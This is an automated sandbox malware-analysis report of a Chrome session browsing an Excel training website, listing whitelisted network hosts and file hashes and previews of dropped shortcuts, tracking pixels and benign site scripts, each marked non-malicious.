Classification:	mal48.win@149/1240@873/100
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, audiodg.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.251.32.99, 142.251.41.14, 172.253.62.84, 34.104.35.123, 142.250.80.106, 151.101.1.181, 151.101.193.181, 151.101.65.181, 151.101.129.181, 162.159.128.61, 162.159.138.60, 142.251.40.131, 142.250.72.104, 142.250.80.46, 142.250.65.206, 192.229.211.108, 142.251.40.138, 142.250.72.106, 142.250.64.74, 142.251.40.106, 142.250.176.202, 142.250.80.42, 142.251.40.234, 142.250.65.170, 142.251.40.202, 172.217.165.138, 142.250.80.74, 142.251.40.170, 142.251.35.170, 142.250.64.106, 142.250.80.10, 23.48.224.103, 23.48.224.106, 23.48.224.101, 23.48.224.104, 23.48.224.109, 23.48.224.114, 23.48.224.100, 23.48.224.108, 23.48.224.110, 151.101.66.49, 151.101.130.49, 151.101.2.49, 151.101.194.49, 23.37.123.241, 23.37.123.234, 23.37.123.242, 23.37.123.249, 23.37.123.248, 23.37.123.233, 23.37.123.235, 23.37.123.250, 23.37.123.243, 23.196.184.208, 104.105.42.146, 185.167.164.52, 185.167.164.53, 23.47.170.102, 3.217.51.221, 69.194.242.12, 23.56.163.14, 69.173.151.100, 198.8.71.131, 8.39.36.
Excluded domains from analysis (whitelisted): tags.bluekai.com.edgekey.net, fp4.ads.stickyadstv.com.akadns.net, d.turn.com.akadns.net, uipglob.trafficmanager.net, slscr.update.microsoft.com, a-us-west.rfihub.com.akadns.net, usersync-geo-global.usersync-prod-sas.akadns.net, clientservices.googleapis.com, l-0005.l-msedge.net, e9126.x.akamaiedge.net, gocm-geo.c.appier.net.akadns.net, clients2.google.com, ocsp.digicert.com, a2047.w185.akamai.net, update.googleapis.com, www.gstatic.com, rtb-csync-geo.usersync-prod-sas.akadns.net, www.google-analytics.com, 5651cac1d73aefc174bb00664980570e.safeframe.googlesyndication.com, fonts.googleapis.com, fs.microsoft.com, e8960.b.akamaiedge.net, player.vimeo.com.cdn.cloudflare.net, content-autofill.googleapis.com, a.deadlinefunnel.com.cdn.cloudflare.net, c-bing-com.dual-a-0034.a-msedge.net, pixel-us-east.rubiconproject.net.akadns.net, imasdk.googleapis.com, pagead2.googlesyndication.com, 75vod-adaptive.akamaized.net, dualstack.j.sni.global.fastly.net, www.pinterest.com.edgekey
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
VT rate limit hit for: http://earnandexcel.com

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Apr 11 20:26:35 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9933927979161137
Encrypted:	false
SSDEEP:	48:8IqdZTu7hJbHSDidAKZdA1JehwiZUklqehAy+3:8IomJep/y
MD5:	A512E17BE0E543BCE314CE3F658AAFD4
SHA1:	DE0654FC7E3C55675C289B390951D727C1616369
SHA-256:	9FE30D5EE45EBBDFE4A7A622C78680E0BBFD36E6B9CB5D4F06EE24A3388BB15C
SHA-512:	74C2946424C0FD49B4822322274CED47C6192E41FE2EB459D134E578776E72C458B466BA12EFA8E27CAA7201B8CF6E729AFAE1E17E6F7FD0B034EB5A8BD6184A
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....@..V.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.XJ.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.XP.....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.XP.....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.XP............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.XR............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............/......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Apr 11 20:26:35 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.0093811115896845
Encrypted:	false
SSDEEP:	48:8aqdZTu7hJbHSDidAKZdA10eh/iZUkAQkqehvy+2:8aomJeL9Q+y
MD5:	BD4FE8B3D9783A0559AE6D1397A2054B
SHA1:	0350B5DA15144B5FE5D2EF85AB3D9F8C6EF7BEF4
SHA-256:	4F627B1D39A8E51F43260771163F3F2787FE925E6DC50D9384C0A3FFAF58EDD7
SHA-512:	C95255BD8EB0DA7B8A42EDB7CA9A3BC590A85A9C4A563C8F22F4069FFF6A2B9FA467ADCC8226C1319280CDBFB2208FEF3626AC0167CF482AE1C0C6935D76AACB
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....(Dz.V.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.XJ.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.XP.....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.XP.....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.XP............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.XR............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............/......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:54:41 2023, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.018893537904335
Encrypted:	false
SSDEEP:	48:8eqdZTu7hJjHSDidAKZdA14tIeh7sFiZUkmgqeh7sVy+BX:8eomJG7nLy
MD5:	EDC62AEB5D1F5B475DB0F44D25110945
SHA1:	EFD871A84E639DFD2BC9D3916A5B471B36FC9AC9
SHA-256:	E98F3040F816D4169C445C2DC8463B44CA27E36ABBD68BA8526B4AC70E3618FB
SHA-512:	55AC38B54B7D45282C8CC5BCD6913BE7F2B190C47B47F82E0A762AE524952C702C83FBC5F2AA7315A59D6C75A00FFCC1B4D2C2BE0EB6F72E374A2DD685731BC2
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....v. ;.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.XJ.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.XP.....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.XP.....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.XP............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VFW.N...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............/......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Apr 11 20:26:35 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	4.00739689899169
Encrypted:	false
SSDEEP:	48:8GqdZTu7hJbHSDidAKZdA1behDiZUkwqehjy+R:8GomJeYty
MD5:	C60AA83F328BC17CE51368CCB78F397A
SHA1:	4E7688471AC35554162E772D17F1B6E7763F674D
SHA-256:	9CC44DC83D4CD3DED76BA157C06EDD835E681E6091B0ACE65F0C83102DAD299F
SHA-512:	B414BA253A7E47D32E1A2BDC3651C34232611F8E332D8490DF8818E345FB38575421E059345187FE0389FE0FA827F4583BD927E94B77540EDE0508114AFB32CE
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......t.V.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.XJ.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.XP.....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.XP.....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.XP............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.XR............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............/......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Apr 11 20:26:35 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9987093134193765
Encrypted:	false
SSDEEP:	48:8nqdZTu7hJbHSDidAKZdA1VehBiZUk1W1qehBy+C:8nomJeo9hy
MD5:	73B606B7B4A341E8DDD5EC5B47A29499
SHA1:	84E2ACCAEFCB1CECF556A4E6A31AAB85CFF80D57
SHA-256:	66461C413AEF1B893829FEA75B2EAAB36E3DA23C8C243A19FCAC3C79E6E01697
SHA-512:	A8D07443F11547A9970225D1E1A45EB721B614B502121C764F67D5FA174B8A718F8664DE8FAB2A462447BEA76682F3B6A6F2EEF6412ABBA45A121D458A605C9B
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,........V.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.XJ.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.XP.....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.XP.....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.XP............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.XR............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............/......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Apr 11 20:26:35 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	4.00702850747217
Encrypted:	false
SSDEEP:	48:8AqdZTu7hJbHSDidAKZdA1duT6ehOuTbbiZUk5OjqehOuTbLy+yT+:8AomJeCTTTbxWOvTbLy7T
MD5:	D3CC63F6F0F651F983E99FBDBD8CF302
SHA1:	08B573A9F2DD9EBE39B413F98B6361F5DF5D2748
SHA-256:	3CBD7B6DA97C3985993E223C8CCB4BED76C6FC9C90217D42E97E4D87F8C84184
SHA-512:	837A3CA952C9F4745E4AA85CEEE71418445B6CB0D76DDD4045FF692E68191FA1DC90D32A1CB66B15ECBA8A53CDD48402AA47763E91746AAE4DAC03F54DA175EB
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....2wk.V.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.XJ.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.XP.....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.XP.....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.XP............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.XR............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............/......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 1000

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 1001

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	49
Entropy (8bit):	3.176789192964165
Encrypted:	false
SSDEEP:	3:CUVAae/XExlHrfx/n:8aOUJ/n
MD5:	56398E76BE6355AD5999B262208A17C9
SHA1:	A1FDEE122B95748D81CEE426D717C05B5174FE96
SHA-256:	2F561B02A49376E3679ACD5975E3790ABDFF09ECBADFA1E1858C7BA26E3FFCEF
SHA-512:	FD8B021F0236E487BFEE13BF8F0AE98760ABC492F7CA3023E292631979E135CB4CCB0C89B6234971B060AD72C0CA4474CBB5092C6C7A3255D81A54A36277B486
Malicious:	false
Reputation:	low
Preview:	GIF89a...................!.......,...........T..;

Chrome Cache Entry: 1002

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (5657)
Category:	downloaded
Size (bytes):	6162
Entropy (8bit):	5.599076700545423
Encrypted:	false
SSDEEP:	192:Sb04pPhtmpvftu/PvJ/CMMKJ8UotoqzpfLEj:s0i5fPJ6FEPkIj
MD5:	6AAAF8E11A32FD37FB419E3A4CE9696C
SHA1:	1FD88F2EE4DE5422E0C344DEBEFE3F2B5ABB2592
SHA-256:	468959E93F9B4E6F07C6A8F8D0E93D8FCB37D76A8615A93EC153F5842247BA99
SHA-512:	748B27BDB7C7FA082D7BE6C69F56DC33302105784391320A5CF960531C594097BC406FD3F4690E4CF74F4016F4D56804A4296E9BD885562EB66699E1318F7000
Malicious:	false
Reputation:	low
URL:	https://5651cac1d73aefc174bb00664980570e.safeframe.googlesyndication.com/safeframe/1-0-40/html/container.html
Preview:	<!DOCTYPE html>.<html>. <head>. <meta charset="UTF-8">. <title>SafeFrame Container</title>. <script>.(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var f=this\|\|self,h=function(a){return a};var n=function(a,b){this.h=a===l&&b\|\|"";this.g=m},p=function(a){return a instanceof n&&a.constructor===n&&a.g===m?a.h:"type_error:Const"},m={},l={};var r=void 0;/.. SPDX-License-Identifier: Apache-2.0./.var t,aa=function(){if(void 0===t){var a=null,b=f.trustedTypes;if(b&&b.createPolicy){try{a=b.createPolicy("goog#html",{createHTML:h,createScript:h,createScriptURL:h})}catch(c){f.console&&f.console.error(c.message)}t=a}else t=a}return t};var ca=function(a){this.g=ba===ba?a:""};ca.prototype.toString=function(){return this.g+""};var ba={},da=function(a){var b=aa();a=b?b.createScriptURL(a):a;return new ca(a)};var ea={},u=function(a,b){this.g=b===ea?a:""};u.prototype.toString=function(){return this.g.toString()};var ha=function(){var a=v,b={messa

Chrome Cache Entry: 1003

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
URL:	https://us-u.openx.net/w/1.0/sd?val=AAJYL07MMKsAABPuRNcLSw&id=537125688
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 1004

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 1005

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 1006

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	42
Entropy (8bit):	3.9297954712258907
Encrypted:	false
SSDEEP:	3:YWQRAA2neiI:YWQmveiI
MD5:	D31320B41A6A283815FB2F490B9F227F
SHA1:	E21F339A128F97ED4F85AA079661CEC810089DC6
SHA-256:	435B1ECE4A55F4F8D06866B32C1AEE3CC4661EB905265894795F15A57BF1B33D
SHA-512:	F6AEAB24B8BE1A17B061DFBD89EF67E669E9A57B4A39E6051467A4974C854E87DACDBCDAC9F4F129C5EDB3739BBE06D27E0D94528D8C6229FDC3848A43BCB047
Malicious:	false
Reputation:	low
Preview:	{"succeeded":false,"error":"Cookied User"}

Chrome Cache Entry: 1007

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	68
Entropy (8bit):	4.200601260429725
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM09/Woz59tVp:6v/lhPfZM09tzjTp
MD5:	C4A2B870062C2BB98C500BC1526C0498
SHA1:	528666CCDB12997358077BC8FCDBFB6B825C7788
SHA-256:	2AA4FA20701CDD6D8D56046069001186B5267E3EE7D0EF618AD2F4A683723E11
SHA-512:	2F1A3ABCD12125F7EF18D61A960901C0FD6F82DD02EA2B8041859E6D5F0A7F08DB17CC110DC6D8A3F7D0D1BA790C4BCCA2506D3C60EDFEB5CB29433E9F4F762E
Malicious:	false
Reputation:	low
URL:	https://tr.snapchat.com/p?pid=5e40fa19-dd6c-4373-b1e0-df7865ef9034&ev=PAGE_VIEW&intg=gtm&pids=5e40fa19-dd6c-4373-b1e0-df7865ef9034&u_c1=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c&u_sclid=38ae9a90-f540-4555-a653-07722b05efcf&u_scsid=bfa86cf2-7284-4d8c-929f-9597c1883f68&bt=1d53c387&d_a=x86&d_bvs=%5B%7B%22brand%22%3A%22Google%20Chrome%22%2C%22version%22%3A%22117.0.5938.149%22%7D%2C%7B%22brand%22%3A%22Not%3BA%3DBrand%22%2C%22version%22%3A%228.0.0.0%22%7D%2C%7B%22brand%22%3A%22Chromium%22%2C%22version%22%3A%22117.0.5938.149%22%7D%5D&d_os=10.0.0&d_ot=Windows&df=true&huah=true&m_dcl=0&m_fcps=936&m_pi=0&m_pl=0&m_pv=2&m_rd=4716&m_sh=1024&m_sl=0&m_sw=1280&pl=https%3A%2F%2Fearnandexcel.com%2Fcourses%2Fpower-query%2F&rf=https%3A%2F%2Fearnandexcel.com%2Fcourse-category%2Fdata-analysis-bi%2F%3Ftutor-course-filter-category%3D16701&trackId=15f0cd9a-4065-4191-a671-d52ac7bbe0f6&ts=1712870887736&v=3.14.1-2404091850
Preview:	.PNG........IHDR....................IDATx.c`...............IEND.B`.

Chrome Cache Entry: 1008

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25
Entropy (8bit):	3.4936606896881854
Encrypted:	false
SSDEEP:	3:Y9N/BbYn:Yz/yn
MD5:	D23899DC09A56ACA40F7B6D5A9E93B21
SHA1:	EC112489BF3A85AEE0F5126BDE129A9835477A12
SHA-256:	F57234B85737FD013FA80E3E8B995BC90F03792AFAB6476B1BEF5C6483FD1E9D
SHA-512:	4ADC5820FD3FB770489A6B8DBAE7622273A90AE7783EE90B67CA1146C800576EA428CFCBC06AAE6B44FD7AEF211DF4138D90B09EA7A6A5F2357710253064F905
Malicious:	false
Reputation:	low
Preview:	{"2024-04-11":{"687":16}}

Chrome Cache Entry: 1009

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1167), with no line terminators
Category:	downloaded
Size (bytes):	1167
Entropy (8bit):	4.938476210565586
Encrypted:	false
SSDEEP:	24:oMkAfutYQigcM/9i0WttqzUCFXUuL58rjavn3V4XVuDBGkfwn:oMDLQpcMZEKnfXDwko
MD5:	6E8BD6768F3098311A71DFA8A734C656
SHA1:	78B8710F8C7CCB7D789EC6ACAC3D2ACDC080D93C
SHA-256:	3E9D69838017F5BBA4E84739C1F6C8A737C414BCCA1D77FCA32DF03EC3EEFA27
SHA-512:	9E46A50FC934C8A74A99C47F091F3CEF1A15BE331E2BC58CD3AB90A8871DCE296C8B95B760984B395A9F5B8E9007A4082D21191AD2BC6553E0178694A631210E
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/assets/js/common-archive.min.js
Preview:	!function(s){"use strict";s(document).ready(function(){var t,e;e=s("#btn-toggle-archive-top-filters"),t=s("#archive-top-filter-widgets"),e.length<=0\|\|t.length<=0\|\|(t.removeClass("filters-opened").stop().hide(),t.find(".widget").children().not(".widget-title").wrap('<div class="widget-content" />'),t.find(".filter-swatch").removeClass("hint--bounce hint--top"),e.on("click",function(e){e.preventDefault(),s(this).hasClass("active")?(s(this).removeClass("active"),t.removeClass("filters-opened").stop().slideUp(350)):(s(this).addClass("active"),t.addClass("filters-opened").stop().slideDown(350)),setTimeout(function(){t.find(".widget").children(".widget-content").perfectScrollbar({suppressScrollX:!0})},500)})),e=s("#archive-layout-switcher"),s("input[type=radio]",e).on("change",function(){s(this).parent(".switcher-item").siblings().removeClass("selected"),s(this).parent().addClass("selected"),s(this).closest("form").submit()}),e.on("submit",function(e){e.preventDefault();e=s(this).serialize()

Chrome Cache Entry: 1010

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0530507460466545
Encrypted:	false
SSDEEP:	3:CUHa/t121l/JtH5:gkBD
MD5:	57F187C7A868FAEAC558007A8EB6CB2E
SHA1:	11AB10AB109FDB53D91D444AC781101F5A6360C6
SHA-256:	AA03DC59BDCA72631D2301E4297CFA030BD31B907DC138E7B973D12311C90A22
SHA-512:	3844065E1DD778A05E8CC39901FBF3191DED380D594359DF137901EC56CA52E03D57EB60ACC2421A0EE74F0733BBB5D781B7744685C26FB013A236F49B02FED3
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,..............;

Chrome Cache Entry: 1011

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 148 x 50, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2472
Entropy (8bit):	7.422669617464948
Encrypted:	false
SSDEEP:	48:u/o/a9CTnV7AZZ2sQdYa6NgDcRObMdgu6mqCXqMnZ41v54sU:u/o/ACholY63bgu6lMnZ4XK
MD5:	D6D96B7B230E818D591FCA1DFAE99455
